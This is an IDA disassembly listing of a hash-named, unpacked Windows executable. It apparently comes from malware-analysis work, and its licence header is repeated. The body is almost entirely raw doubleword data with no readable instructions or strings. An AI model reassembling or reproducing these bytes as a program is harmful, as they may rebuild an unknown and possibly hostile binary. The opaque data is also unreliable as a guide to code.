;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	706CAF16D864A014007E19A99E253CB7

; File Name   :	u:\work\706caf16d864a014007e19a99e253cb7_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	3D0000
; Section 1. (virtual address 00001000)
; Virtual size			: 000661AF ( 418223.)
; Section size in file		: 000661AF ( 418223.)
; Offset to raw	data for section: 00001000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
brattyty	segment	para public 'CODE' use32
		assume cs:brattyty
		;org 3D1000h
		assume es:nothing, ss:nothing, ds:brattyty, fs:nothing,	gs:nothing
		dd 8F7C66DCh, 28796C3h,	36F46208h, 41EE1A87h, 23020955h
		dd 38B1D471h, 33F047B9h, 9A60755Fh, 0DC7944D0h,	0E4953C51h
		dd 953FE529h, 0A37FE2A6h, 0BB40BCF6h, 0CFEDD893h, 0FB04B9C1h
		dd 0E627C43h, 0BA2E6C06h, 71C3A73Bh, 628A1F4Dh,	0C40490C4h
		dd 8B0651D0h, 27B68410h, 12733AD1h, 1AB87E2Fh, 0D3452D0h
		dd 0F91BED29h, 1B44A2AEh, 21A6ED2Fh, 48716947h,	1DF1759Fh
		dd 0DEF42B3Ch, 0ADB863A2h, 9EA28B1Ch, 8CDA8A3Dh, 0AC60E6ABh
		dd 6AE675E0h, 0E046D873h, 6B621C98h, 257891B5h,	0DD9B6D04h
		dd 0B5C058F5h, 38E52F8Eh, 3039F4D6h, 3441EADEh,	4F676161h
		dd 6EA087D3h, 0E4ECACDCh, 27BE3680h, 9EDA9B2h, 1B4FAD77h
		dd 0DB5A9539h, 0D96025A4h, 5B9D1EC8h, 43A39078h, 685FC0C1h
		dd 0AE9365Fh, 3D840BA0h, 0CA0E959h, 938B7CE1h, 165295B2h
		dd 0B3AB9926h, 5715AD57h, 0E28CE993h, 9F3F12A6h, 0A0D2D930h
		dd 9D1E56F3h, 70B100EEh, 784BEF81h, 9A4AE8D4h, 0A7C2F1D5h
		dd 9FBB2DC9h, 0F55EA4Ch, 45CB02C5h, 6C1D3F9h, 3CB4BAF2h
		dd 0C2A5F1E9h, 0BC6A33AFh, 0E5E89C4Dh, 0BCEC3A5Fh, 0E1E7941Ah
		dd 0B7CEA8D7h, 0C346D377h, 15F18502h, 0C46A1D2Ah, 0C82865ECh
		dd 925E8CBEh, 0DD6AD34Dh, 0D0A29A19h, 2067BCh, 0CA5B4601h
		dd 539CA87h, 6D311D39h,	95056128h, 0F8578068h, 6A970FB3h
		dd 0B1055469h, 88F1FB67h, 85CC9A5Ch, 0DE3394FBh, 0EA44E661h
		dd 0D94CB3D9h, 6698E186h, 2750344Eh, 7106944Dh,	0F2B573C7h
		dd 4609B234h, 6030D66Ah, 5B140771h, 0D5BFE44h, 0FFA048B3h
		dd 2D1A0D95h, 29C8B60Ah, 245B28D3h, 5A6B7EDBh, 0E505A718h
		dd 193C032h, 0A0CFC6A6h, 0C1C50BB8h, 0D3F43430h, 60943DFBh
		dd 0C28D96CEh, 1A294968h, 1ADB8173h, 0A0E30751h, 3E2E2E78h
		dd 30265E94h, 0D9F1A8C3h, 71F868DBh, 4F82C4D8h,	9ACC9461h
		dd 2A793DFBh, 9A84883h,	8C201E8Ch, 0BAEAC511h, 6056EBD3h
		dd 0C54FDE3Eh, 0ACBF01F6h, 9F724F77h, 36DAB036h, 0BD7D3F55h
		dd 8D2C8926h, 854151A5h, 0BC070C31h, 512B16F0h,	45DD0E5Bh
		dd 29EEFB88h, 0B051FB7Eh, 3DF475C9h, 0D9A51440h, 68E216B0h
		dd 0D7B00CF9h, 503FADE6h, 5ED7631h, 33DA16C8h, 3CA03EB2h
		dd 0B1F52B23h, 0F7286B3Ch, 88AFBFA0h, 0C78771A7h, 0DB822E3Bh
		dd 47E9BDD4h, 1E2EF5DDh, 7BBB2F6h, 43B379C4h, 9121711Bh
		dd 2FB6266Ch, 0FBFEF8F9h, 0D73D9794h, 0F442F90Fh, 0CDBF4CA9h
		dd 6E16C948h, 26F5FAF3h, 5D206E62h, 0A05EE0FBh,	5E5FDF1Eh
		dd 1042FAEh, 0CE54A8CCh, 0AFBF7EACh, 6000037Eh,	15985B51h
		dd 6B1B0D4Ch, 0CDC89921h, 764F8000h, 0A7ADBE4Dh, 5EF1A66Eh
		dd 18AFC4BAh, 98A9D02h,	0CAB19448h, 5A433Fh, 4A092BFAh
		dd 4C2A7EFFh, 0A0CA1B9Ah, 9075742Ah, 35CF9F5Eh,	97DA899Bh
		dd 1F69F92Fh, 63DD0419h, 0EB3AA68Dh, 4E9DF9F6h,	0A6600C98h
		dd 0F8535475h, 77527B5Eh, 791CF83Fh, 0EED0DC8h,	2D06D153h
		dd 82C24A04h, 506B7B1Bh, 9FB30F60h, 2F608193h, 52C81058h
		dd 911CB8BEh, 0EC4E5F73h, 0F8F86A14h, 41F1EB43h, 698A74CDh
		dd 0E91A2F5Ch, 3D2B0F12h, 41D30687h, 6CAC4697h,	284351C5h
		dd 0B190D6E4h, 8C5FD5B9h, 0E7E0D432h, 2EAA41D1h, 8BD58A2Eh
		dd 5DE0A028h, 7A259DE1h, 6FB04F18h, 0E8794F39h,	0A7F5F818h
		dd 525A2759h, 1AEEEBA3h, 1199E61Ch, 0EC581EC3h,	0A2B08922h
		dd 0A7045B33h, 6A192D2Dh, 7C94FD1Fh, 5F6288D2h,	495D6318h
		dd 8F56A49Ch, 0FA33918h, 0DECC9673h, 8B7AF91Fh,	87162277h
		dd 60ECF259h, 5DDA50E3h, 0FF0F0143h, 0AAB5261Fh, 0FBBD11AEh
		dd 523CD91Bh, 28532BA5h, 0ED105D74h, 3759C808h,	1E6272E7h
		dd 0DD33D278h, 0FCEF1895h, 1117F8B5h, 16A78CF4h, 6F986246h
		dd 0B06690Bh, 0B5CBA0EFh, 74FCAE5Dh, 0BBD0E0F6h, 3F3E67B4h
		dd 0B890967Ch, 0F803A512h, 8E788001h, 3496AADAh, 0D26D6D02h
		dd 1A9FBD52h, 6D247C6Dh, 0A0ADCE00h, 0E11F3C4Bh, 357B132Eh
		dd 33F5335Ah, 6CFE92DFh, 0DAAF373Ch, 5E8246DBh,	0E4EFC4D7h
		dd 0A6DF0717h, 16EDE5BAh, 0ED240189h, 0B2B39A9Eh, 6A9CB79Fh
		dd 7752CEEh, 6764DAE4h,	0CF5C4329h, 7AC4F83h, 0AAA688E2h
		dd 17A69AF1h, 0E0304604h, 0AC866B27h, 5FCE1CDDh, 0B4ADFB27h
		dd 0EF099B5h, 7BAE1C53h, 0EAF37C4Eh, 0F05EC8Fh,	0AF82C148h
		dd 0A8A19760h, 4D90D6CFh, 1FFD5533h, 79461CF2h,	133F78B7h
		dd 28B7C3B0h, 0D5648697h, 0A6E316FBh, 14AB6153h, 4E5770E1h
		dd 2C7BF149h, 21813E07h, 33699666h, 2ED314DEh, 0C8BB6CC9h
		dd 0ABD4602Dh, 0DE4D68DFh, 0A07AA46Ah, 0FB264A06h, 0AAFC2112h
		dd 6EAB3A44h, 12A09978h, 917FFB7Ah, 38F95E3Ch, 7FF7DC7h
		dd 0A66CC1C6h, 0AFB79075h, 0B8ED3060h, 19B64B8h, 2E882638h
		dd 9488D8BAh, 31D291ABh, 97BE99E1h, 26AF4DE3h, 0D2599754h
		dd 0B85E886Ah, 0A8FFB6DEh, 4B46332Ch, 7C428BDh,	3D0B5781h
		dd 0E19DB331h, 7AF4C1D6h, 0ACFDA154h, 41EDCB76h, 0D57CA191h
		dd 977B649Ch, 0E7A8804Eh, 316C317h, 29E5776Eh, 7EB58334h
		dd 97E0C368h, 58FB145Fh, 0E74C744h, 92879CCh, 24857CC0h
		dd 0FF2D2970h, 86377Bh,	182CB5FCh, 0A44B4ED1h, 6F7B534Eh
		dd 7F947D1Ch, 0DA5CD3B4h, 1ECF62B3h, 0F85BFF6h,	94773C5Dh
		dd 0D5BED5CBh, 4438F6F0h, 9DD40050h, 203E7019h,	83E3CF88h
		dd 34A88580h, 0FFB847B9h, 3C188205h, 39E15F97h,	507FFB9Bh
		dd 0FE6687CDh, 73266815h, 18FEFB8Ch, 1219785Bh,	32A36B08h
		dd 45D111C4h, 0FE432BC8h, 0E3EF73CFh, 2B6B20E8h, 0BEE4CF80h
		dd 499B0CEBh, 2926AAFCh, 54B16BF4h, 0B9497D0h, 0F399F33Fh
		dd 489DA1Ah, 52A2AFC2h,	3B43CA2Dh, 21AFB8F7h, 0CBF0535h
		dd 0F5CECF29h, 324BE409h, 0D15E8A54h, 424E71A4h, 2CFF57E5h
		dd 0C204F53Fh, 0FFE79229h, 0DD5DE95Ch, 8C314052h, 0C5CAF384h
		dd 17B9B66Eh, 0C554ACBAh, 259AED7Dh, 0F413B771h, 0C94DA9DCh
		dd 667FA747h, 0F58D454Ch, 0B44954A7h, 4C193283h, 0DA60F3D5h
		dd 69775C98h, 522C7670h, 6593A04Ch, 565DAB2Ch, 7CEB989Eh
		dd 0ECA6B22Fh, 6289E9DEh, 0B957093Ah, 50EDD59Ah, 0F39C4E88h
		dd 0EE375041h, 5B3ADA9Ch, 0C9052416h, 8CD1B054h, 9407589Ah
		dd 886BBE4Bh, 4140E47Bh, 0B33ED9BDh, 5CDF5B89h,	72755EAh
		dd 84B0C2B8h, 0B9845A3Ch, 0EA7B5886h, 9593694Fh, 2951409Fh
		dd 0B005A748h, 0A2CA3AB4h, 0DB4C1B9Fh, 918D4F4Ch, 0AF458FD3h
		dd 4D9EFA0Fh, 0CCC8B34Bh, 904CD05Eh, 771160E8h,	0D7F86B50h
		dd 0FADC37EFh, 3C55A7BAh, 0D07E00DCh, 6A74CA65h, 0B79FD71Fh
		dd 464528DBh, 63E1B318h, 0A91DAF23h, 0A28DF2BBh, 0FB89493Ah
		dd 0D67B7DBAh, 74D92108h, 0C80FEF23h, 388C8371h, 67DB2010h
		dd 67F25257h, 0D0E8815Bh, 27917D1Ch, 79F6000Fh,	6630E1C5h
		dd 0F8B8FE85h, 0EC749307h, 7A783660h, 0DBF485B3h, 53A3B29Ch
		dd 9FA93F18h, 0C08412D5h, 0B5F53995h, 414535D1h, 0F3B87C6Ah
		dd 0CE993E35h, 212D2D49h, 0D1A6D02Ah, 49A6159Ah, 1F35178Ah
		dd 0FE27B4BCh, 8916A918h, 2345AC10h, 9DE3291Bh,	7E9E6802h
		dd 0C0347FC6h, 0A775636Ch, 816DA185h, 2C95CF3h,	19EC1463h
		dd 0EA1ECF3Ah, 5327CEB6h, 0A8B7BB4Bh, 0BF65CACCh, 269CBC0Ah
		dd 75CFA9A0h, 0E1DE0F39h, 3EA5D5DAh, 0E4ECA476h, 72CE955Ch
		dd 554DF966h, 0C5726A21h, 4D7C2E8Ch, 0C2676C2Fh, 5178C428h
		dd 6E56C83h, 204B2EC6h
		dd 2A91DE34h, 0F8755D30h, 0D600C7AEh, 8071746Ah, 46A0225Bh
		dd 697BFBCDh, 0A4172E17h, 0C1587503h, 47D495Ah,	5E18CB04h
		dd 5B4C8BF4h, 0C262967Dh, 4562B57Ch, 84C935E1h,	14441DE0h
		dd 6635693h, 754926DCh,	9B55CA10h, 2BFDE7Dh, 98965BEFh
		dd 6803DB9h, 26967D18h,	0BBE9A23Dh, 0D358CC44h,	0FD8ADCC1h
		dd 0DB5B0758h, 804B0331h, 0C4718E6Ch, 0B6B75AB4h, 6125DBA2h
		dd 0BB787C3Ah, 98ABC94Dh, 0BC2A5B3Ah, 9E26F4D5h, 1141A993h
		dd 0A49545CCh, 0AB3D33C2h, 7D94530Eh, 0AC9B68BFh, 8CEFE700h
		dd 0A3B2F2C0h, 536A8F7Ah, 2C517610h, 0AEDBFF1Fh, 10B04065h
		dd 793B3B0Ah, 6D8A808Dh, 93C8993Bh, 0D20544C7h,	6CFDF854h
		dd 4E4B16F4h, 3BEB46C4h, 753211D9h, 2C243EA2h, 4C3E05EEh
		dd 0D456ACECh, 0A4D74240h, 0B7723E23h, 0BE931E8Eh, 1E4BC9DCh
		dd 41CCCE5h, 0BE1316A9h, 0E6398BC9h, 0D424F839h, 0C27F9CE9h
		dd 0FB7CBDAFh, 32CC3682h, 579EB0D6h, 0F88AA821h, 3819911Ch
		dd 0D5B2AB88h, 0DEC5BED9h, 913A3AD8h, 0B52D3115h, 8BDE668Fh
		dd 4771BC5Bh, 868C21A5h, 0E4D9C330h, 87075AD1h,	1294610Eh
		dd 14F25098h, 5B63BD93h, 0CA3E6DBFh, 32BC061Ch,	0A8436BA1h
		dd 99F0F6A7h, 0B8DEF3CCh, 32A65ECEh, 7BCA2CC6h,	4FAF94B0h
		dd 6D9D8864h, 337F3AD4h, 7DB794E6h, 805B9363h, 0DCBB513Ah
		dd 4FCE239Fh, 0ECDDB276h, 0B9DEAD11h, 0E76015CEh, 0BBB81E87h
		dd 9F572453h, 0EC2B9C22h, 819D1C3Eh, 3B5C0D15h,	8BDB3854h
		dd 0DC6F4004h, 0C32C1AF1h, 684CC86Ah, 0BE20CC72h, 0BACEC5C0h
		dd 3DFD6463h, 2BD5F864h, 0A8E10ACDh, 9C34FFE2h,	2A6FAF75h
		dd 21E6B228h, 0DC80E958h, 3573D0ACh, 0A8D40916h, 0C9AA8E2Eh
		dd 0ADD2970Bh, 0F7C4E6h, 78FD6260h, 0EE6BE5A6h,	442F3409h
		dd 3746AFA7h, 0FCD3F9B2h, 59F8DCFh, 906AA81Eh, 0EEEC5392h
		dd 89A2E219h, 9850620Eh, 0A89BBABEh, 90E41A02h,	4700A418h
		dd 2A016009h, 88C074B8h, 1082FCD3h, 3CDF61Dh, 0B6D44EC7h
		dd 77567F85h, 637360EAh, 69330578h, 0FE6DAD12h,	0F2B688C5h
		dd 28E08D6h, 4E9A249Ch,	8CC90C30h, 0ACF3794Bh, 0D93B67E1h
		dd 0FEFC16C7h, 5544E85Bh, 3B7EBA43h, 0DBB28E2Bh, 909E511Ch
		dd 1FAA7386h, 87E69A68h, 9E309747h, 0AC5E19F5h,	34CA1452h
		dd 87D2EC19h, 760BB07Fh, 0C2F261BBh, 3F0D3187h,	52052BF8h
		dd 6B861190h, 0E85FEEA5h, 37497C27h, 0F150CD85h, 44751Eh
		dd 7AE18FEDh, 4E0D7EE9h, 2DDE1A31h, 27771427h, 0BE7C5FE3h
		dd 1EA75BA0h, 0EB8A7907h, 35CE5277h, 0CD0F11A6h, 81D42D91h
		dd 847D67Ah, 904359EEh,	87A70ACEh, 0F0317537h, 57678665h
		dd 7B5A1F03h, 0A497B9A0h, 5956A209h, 0E5D407EDh, 55B17F1Bh
		dd 1353045Dh, 6C8BE41Dh, 0FD8E65A0h, 8374758Eh,	0E4EB4C35h
		dd 98CBB9D1h, 0DC27737Ch, 8D4F3B9h, 73302E52h, 82EB3BE3h
		dd 1E49D5DAh, 0FC046404h, 0A8A2DC19h, 0AF3275D6h, 0ADA87CA3h
		dd 99D3DA9h, 0FBACAE98h, 3FB75504h, 4D20A208h, 27261093h
		dd 9DDEE335h, 2FDC8CDFh, 8A7D693Ah, 521822Fh, 37CF4349h
		dd 4FD45103h, 937C90FFh, 9FFC3368h, 20E93A17h, 0D33672A7h
		dd 5A16744Bh, 58BE3002h, 0E429E810h, 22E0C7B1h,	1ED4E1E0h
		dd 661208BDh, 45814F06h, 9DB09DF3h, 53238715h, 0FA345DF3h
		dd 0CE8C5071h, 72DE34EEh, 0D37DF2B7h, 0A08EC439h, 6B16D871h
		dd 0D4E9DEC1h, 0AA5A610Ch, 979DC552h, 79197899h, 23FCB4F7h
		dd 7B30A7Ah, 5D6CEBFBh,	19E0E3FDh, 0E7186C50h, 0B171B1EAh
		dd 7BC9DCF1h, 9E143C2Ah, 0F1DD814Bh, 0C1542852h, 4C3DEB7Bh
		dd 0E77FECC5h, 6058C098h, 0A8006D3Eh, 0FBFCCB67h, 38381207h
		dd 0B16DDB87h, 515F55F5h, 4CE892B3h, 5D8F3A46h,	659635h
		dd 428010C1h, 6EE6BD9h,	49E5F9AAh, 0F355AC0Ah, 0FEF3EA81h
		dd 0D7C15D82h, 1B361AC2h, 3661FAA7h, 59F3262Fh,	19946811h
		dd 3294F6CEh, 0FF6248ECh, 0A662A485h, 287985EFh, 2F67C510h
		dd 751EEC2Bh, 1AAC1878h, 0BD436F36h, 3FC4A2B8h,	3E24043Bh
		dd 0BBF6F90Ch, 64C7F7D7h, 795F245h, 1965D6DAh, 0CC34895Bh
		dd 0F4CDB83Bh, 40CEF975h, 0CA98062Ch, 29E967C6h, 5CF9EFB8h
		dd 98BD70C8h, 0E9C05894h, 50446AADh, 0C959982Eh, 728C4FB6h
		dd 0A64D445Ch, 31FDD696h, 0ADD11900h, 56D05C1Fh, 0D37285C3h
		dd 0ECBF2386h, 8B75C3EFh, 2CC525A8h, 0DC3AC178h, 4491C0A4h
		dd 27BF7F7Dh, 9A9D4635h, 0C5A356F5h, 3C0949EEh,	0FA146E5Eh
		dd 0A893686Fh, 0D2FE7138h, 40AB7686h, 0ACB6DFBCh, 0CA6DB430h
		dd 2205067Fh, 27B9921Ch, 3AE71776h, 76751062h, 182BB42h
		dd 4038BC53h, 0CF571DACh, 0C77B61CFh, 6FE3FA08h, 99C2860Dh
		dd 0C1DA4B21h, 7937221Ah, 5B0028D1h, 0D0AFFD1Dh, 3968DE00h
		dd 0DA3A05E7h, 11D1B8B3h, 8296D18Ch, 735F2D4Ch,	45775173h
		dd 1753AABBh, 0E1F409B5h, 76EE63F8h, 322C9AFEh,	0DDA8F029h
		dd 1C525640h, 0C66116D4h, 0D8D9AF2Dh, 0ABA0DB67h, 860285A7h
		dd 7EC9F879h, 66EBD2CEh, 0C7D75DB5h, 186093E2h,	0D7B6C663h
		dd 10DA2742h, 962D55E7h, 5B4BE3DDh, 901BE21Dh, 0BDF6908Dh
		dd 0BD915CE3h, 0DA642303h, 16DFF96Ah, 6314CE5Ch, 0AAEC8076h
		dd 0C4E6713Eh, 227EA5FAh, 0C0DFF24h, 871C4A86h,	0F8A3CF0Ah
		dd 7A2103A1h, 18F6E43Eh, 0AEEE4FD8h, 25B1E183h,	4C06DE0Ch
		dd 5CE95AABh, 49ABB7AFh, 0D74CFF4Dh, 0CF9A52F9h, 4D068F04h
		dd 576E5CF9h, 546D0656h, 66638E27h, 513444DEh, 848D6127h
		dd 8348F83Fh, 0AA5B4B61h, 0F9964B61h, 8871F9D0h, 0D094BF06h
		dd 0E0AE478Fh, 6FE5EE03h, 460176CFh, 0B47169BEh, 0B895CF27h
		dd 138447Ch, 52C8C7BFh,	0BF3F2F89h, 7CC14B63h, 722A2160h
		dd 0E976EBF2h, 3EE44BAAh, 6FE037A2h, 65888BACh,	0CB7193A8h
		dd 0C819B7BCh, 219FFFBCh, 0E60555D8h, 3C52B8FBh, 0A32DA8E4h
		dd 0B6F6177h, 0B1AEEA39h, 1ED4A6EAh, 51959485h,	8A49DC9Ch
		dd 72B09420h, 0DC29D38h, 0BE170235h, 32C54138h,	0B1C1C367h
		dd 14E9653Ch, 7484D07Ah, 0B467B5EEh, 99E9DDAFh,	733F481h
		dd 3260E4A8h, 0DA5963FDh, 0C5714D6Ah, 0F9CC1BA3h, 8873419h
		dd 0C3F88E72h, 3312A697h, 0C139B977h, 7D1353ACh, 44B2850Ah
		dd 0E88955DFh, 0C8C7907Ch, 0DDAD9E0Ch, 9D290710h, 0C5DB8722h
		dd 0C2FB6CB0h, 214C63h,	94B01252h, 25874E31h, 0EDD690F4h
		dd 1B6F21F8h, 0DF362A47h, 0E07688EAh, 7D4E4962h, 15604E14h
		dd 0ADAF4E44h, 9FCB64DDh, 6A42B41Fh, 0AC07E0E0h, 1343E4F0h
		dd 3096C2B2h, 0C8E8B868h, 5ECBD283h, 0C2C9E178h, 125ABE2Ah
		dd 1B32D88Ah, 0E10C50CAh, 326F6F1Ch, 5576887h, 69211CF9h
		dd 3CF9E99Bh, 2F480DA8h, 923C2DD9h, 60257117h, 6F18DECDh
		dd 0F41CA8F2h, 2FFDDF72h, 7A54BD6Ch, 9990108Ah,	0F5CC304Ah
		dd 87DB370Fh, 43DD4CFBh, 0BF8D1F4h, 1DA5C3F3h, 1BB4AE51h
		dd 9793619Fh, 0C51751F8h, 0E56959E7h, 0EC67696Fh, 907B774h
		dd 35342381h, 11D1112Eh, 8FBF8AD1h, 3B65088Ah, 8CA1C6B3h
		dd 0B0668BC7h, 0CD926C92h, 3B18CEF0h, 6FD893Fh,	7579885Ah
		dd 1EB99C3Eh, 0C4F4CD28h, 7A8CDECAh, 0D035E4AAh, 0F4DCD0FAh
		dd 4945A5D2h, 503170D0h, 72E8C363h, 32A44E4Ah, 23D76E81h
		dd 0D8440857h, 0C032E4E3h, 58968997h, 0DD52C46Bh, 1A10F87Eh
		dd 843C0D41h, 6FCD61E5h, 51F17BDh, 2F553FB6h, 4B49CAD1h
		dd 57D0A07h, 37753157h
		dd 3930058Fh, 0AEFA058h, 65C133F5h, 7C6FAD1Dh, 476A9E05h
		dd 640D0833h, 73225FF5h, 52FC6E0Dh, 0C22BABA7h,	0C0511245h
		dd 0AB80669h, 815BDB66h, 0FACB889Bh, 22D1297Ah,	0F6B0B803h
		dd 6FEF45EEh, 50468170h, 65268360h, 8B1FD18Ah, 0AB4C651Bh
		dd 19CA8293h, 0EE22ED27h, 4CDBDDDFh, 1B31ED13h,	9C6ED2E7h
		dd 893178E4h, 6D33144Fh, 8E4A87E9h, 0D0CA131h, 47F9EF92h
		dd 7C8C2A5Ah, 150053F1h, 8D826884h, 0CED4B3C9h,	856EFBE4h
		dd 2AA8256Ah, 720E9EBFh, 4D7F3C4Bh, 4B4A499Ch, 53789B19h
		dd 5F103971h, 0A717828Dh, 9A7CFC6Ch, 0C7FFD805h, 51BD8808h
		dd 0A40A319Dh, 0F4D4C07Fh, 0ABC79C3Bh, 0AD3065E4h, 5E141C4Ch
		dd 8C8B81D1h, 0A96BFDF7h, 0C35F5252h, 0CFD1CEABh, 893C6167h
		dd 3A0C11B9h, 0D1406DC1h, 0DD720928h, 6B332B4h,	0A69339FCh
		dd 1A39DE23h, 1A4D2B74h, 0DA995655h, 5C1A64D3h,	0C72BB71Dh
		dd 19E9EF63h, 5600D87h,	3683CD68h, 8B5BDB6Fh, 58B0E8ABh
		dd 2CC12C08h, 2994353h,	0ABB5E11Dh, 9A16438Bh, 704ED2B4h
		dd 281BB92Ch, 3AB54F06h, 777BCA9Fh, 0F4F9A936h,	1A0CF7FBh
		dd 69E48022h, 93699344h, 286E7D68h, 4F185DABh, 0B7D0BF6Eh
		dd 7BA04310h, 0C1EDA71h, 69E001C1h, 302C32D6h, 0EE88891Ah
		dd 6CA1B421h, 8A78DCD4h, 0FA0327FAh, 0F8221583h, 6537C658h
		dd 407A0574h, 680F6026h, 0AC92BBCh, 1B21503Dh, 0DC009AF1h
		dd 1B27CFCDh, 367541E9h, 6F2476D4h, 3CECE8F7h, 0E8BAD7EFh
		dd 0C1B02D23h, 0BC82642Bh, 8B1CFBB5h, 1A7F0DA9h, 75694531h
		dd 0D6B59237h, 0EBEEE83Ch, 2FC5E955h, 1763B840h, 0FD33593Ch
		dd 852859C6h, 0DFBF72F6h, 75B9654Dh, 0EAD8C4A0h, 9CC90784h
		dd 6FF2EAF1h, 11863B81h, 828EA3B9h, 73AE41E4h, 62722FBBh
		dd 0F58FFADCh, 0A520BC6h, 0F0D8F0C7h, 0B058DCF4h, 0B2C9AE74h
		dd 7CDAE11h, 79877C51h,	0F1784FCBh, 21D4EC80h, 4901384Ah
		dd 0B8B38B44h, 0C6376BC0h, 293FA304h, 5A672E87h, 1C22BE0Ah
		dd 0ED39EFA4h, 1A5833ABh, 0AB843744h, 1404B32h,	51B47CBBh
		dd 0A78112EBh, 0BA225CAAh, 0B7EECDDEh, 17F9AA8Dh, 1A5ECBC2h
		dd 9DC21A27h, 80F9FCBFh, 0DAFE4A0h, 0D70B8F7h, 91C92D41h
		dd 0A64FE2FFh, 32816A47h, 0F738243Ch, 6B93F480h, 194A44B8h
		dd 0B6300B26h, 0A0D0F09h, 0AA36A81Eh, 0E7EDCAD6h, 44AC1FF1h
		dd 52D6975h, 49236BD3h,	2E62934Ah, 0FB5E12E2h, 0F2B5D557h
		dd 386E30D8h, 0D2F1D898h, 66B71CADh, 1997334Eh,	435C1B0Ch
		dd 800E0299h, 4F2C9FB3h, 58EF5ACAh, 0B14F4DEBh,	949D54A2h
		dd 3B31E2A9h, 0A1FB3353h, 4841F43Dh, 9C47CEE8h,	0DCE734FEh
		dd 4CE8E7E8h, 7B735348h, 34C7AF4Bh, 8C62F0F8h, 9E37CB8Ch
		dd 0DAD64F4Ah, 7AADE43Ah, 0C7699AE9h, 5536335Fh, 0A9F7FE80h
		dd 5DCC25DFh, 1EE82126h, 9C0101CCh, 0F48263C0h,	8FE6694Dh
		dd 732847B2h, 365F35CAh, 0E78EE7F0h, 0AAB82678h, 620DC23Ch
		dd 0A0B07B97h, 0C404CBADh, 78269733h, 4371D3D0h, 4C02C937h
		dd 4B107D50h, 9B9D0ABCh, 0B44AA67Ch, 10A14990h,	88D512D1h
		dd 0FEC77EE5h, 0AD223A18h, 0CBC4F630h, 42A886CAh, 0F0C49BFBh
		dd 0E92D1F22h, 40DE7277h, 0EB21879Ch, 96F8BCB8h, 0ACE9BDA5h
		dd 2C6883EDh, 1C23782Ch, 74E7EA74h, 4BB5EAC0h, 23F9DE1Bh
		dd 0F04949C1h, 0E4E9B6E1h, 0A1FD6023h, 0B34B8C8Fh, 369262CBh
		dd 3126C322h, 2500AE9h,	0A1516B30h, 9920A650h, 5C48811Ah
		dd 2F86CDF0h, 8E9D3A97h, 4D22E796h, 0D3862687h,	0AFFDE31Bh
		dd 0F9F9DFB9h, 0FF1038B8h, 9B68A065h, 0BDFB200Eh, 0EEC9FCE5h
		dd 7AA30285h, 19939F8Bh, 4F154D66h, 7AEEBD4Ah, 3A248153h
		dd 79129E1Dh, 0F4DB8EDh, 0B0BFA470h, 0A6C46A99h, 0FE67914Bh
		dd 0AAAB7449h, 0E6CDD807h, 52C47382h, 0F3762F7Bh, 0FED5148Ch
		dd 0B8486CB9h, 5037CB6Bh, 0EAAD863Ch, 0C6BFDCDAh, 5C0FC872h
		dd 81287206h, 0C5230271h, 0F0F081FDh, 7FBA2ADCh, 85E2DC33h
		dd 545ECECDh, 0E26A3D51h, 0A5EF2C69h, 0DCED7002h, 3A467281h
		dd 4EAE6288h, 1E42C1B1h, 10F5D204h, 5F5667B2h, 0B6FAA337h
		dd 64463329h, 0A4D67B2Fh, 38407EF1h, 220AC6BAh,	67CEC095h
		dd 8924515Bh, 0FB039112h, 9243F146h, 794640Fh, 0C67C3ECh
		dd 7F4F25FBh, 9E8E627Fh, 0C4932965h, 0C93A5575h, 21742B6Ch
		dd 919BA141h, 0A11A852Fh, 688E0649h, 0E540FECCh, 0C0F9846Fh
		dd 2434A872h, 0F302051Ah, 0A497DD80h, 0B0065463h, 57E24B47h
		dd 0EB645D04h, 0EAC5886Eh, 0DF0F93B2h, 4B9B708h, 0FAC5C646h
		dd 3406FD5Fh, 52359D84h, 7FC0FE6Fh, 6D90667Dh, 6C2E0593h
		dd 0EC84DF2Fh, 98EB78C2h, 0FD8A58D3h, 5599D0AEh, 0E987339Fh
		dd 2C29A533h, 3B3754A9h, 0A7DD4ECAh, 4E6CABCDh,	0DAFCF232h
		dd 4DBDE803h, 89B4D3D2h, 0D39014FDh, 69524207h,	0FD4A9268h
		dd 31408043h, 41E41C60h, 8A3F9EDAh, 0A91998F4h,	0B5BCC60Fh
		dd 65B5FF21h, 0D7CFBAF0h, 733D3CE5h, 36D177B6h,	722828B6h
		dd 0B2F16839h, 0F7AF2B53h, 98DA26DDh, 1CB97764h, 0E300DC38h
		dd 0FBDA8BF1h, 755ED86h, 1DE1AE59h, 416C775Bh, 5F601A97h
		dd 566D6841h, 3BD80923h, 3DE3ECFFh, 79A2AABAh, 411EE149h
		dd 9A97601Bh, 0E079127h, 0FC36E28Eh, 0BB5A954h,	6A1B31E3h
		dd 0FDA94DA1h, 7322549Fh, 22031D63h, 0E2AFFFh, 0D551F457h
		dd 0A37ABE25h, 3C3BF6Fh, 23D2E1E4h, 65150C36h, 6817DEA6h
		dd 8B2A7173h, 140C8E21h, 0DAA5D64Dh, 0C4D28ACAh, 0C524790Ah
		dd 0CBBA4433h, 5EA2E4F5h, 2FD85D03h, 228B1C2Fh,	6173AFFFh
		dd 0E5CBEE05h, 0A661661Ch, 0B5329F85h, 87FDD8AEh, 8B24D263h
		dd 4149A4DAh, 8DA153EEh, 0D77E30D9h, 0A46FCE61h, 6FB4D245h
		dd 759CE77Fh, 19770F3Dh, 0BFA6BAAAh, 99D9172Eh,	3DDE9D68h
		dd 68BB5F69h, 6AF7FE4Ah, 0D8CCD45Dh, 721ED9F2h,	0F849B7DFh
		dd 1FE4F8F5h, 7F951A60h, 0C7F8ED58h, 0C54BDECAh, 4267F92Eh
		dd 12CA2C60h, 85277616h, 6BC0E62Bh, 48BCE17Dh, 0F742EAE7h
